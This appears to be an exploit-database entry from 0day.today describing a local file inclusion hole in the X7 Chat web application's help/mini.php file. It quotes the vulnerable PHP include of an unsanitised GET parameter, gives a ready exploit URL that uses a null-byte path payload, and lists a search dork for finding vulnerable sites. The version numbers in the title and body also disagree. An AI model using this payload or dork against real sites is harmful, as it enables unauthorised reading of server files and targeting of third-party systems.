X7 Chat <= 2.0.1A1 (mini.php help_file) Local File Inclusion Vulnerability

2008-09-27T00:00:00
ID 1337DAY-ID-3776
Type zdt
Reporter NoGe
Modified 2008-09-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==========================================================================
X7 Chat <= 2.0.1A1 (mini.php help_file) Local File Inclusion Vulnerability
==========================================================================


====================================================================


  [o] X7 Chat <= 2.0.1A1 Local File Inclusion Vulnerability

       Software : X7 Chat version 2.0.5.1
       Vendor   : http://x7chat.com/
       Author   : NoGe

====================================================================


  [o] Vulnerable file

       help/mini.php

        include("./help/{$_GET['help_file']}");



  [o] Exploit

       http://localhost/[path]/help/mini.php?help_file=[LFI]%00



  [o] Dork

       "powered by x7 chat"


====================================================================



#  0day.today [2018-04-12]  #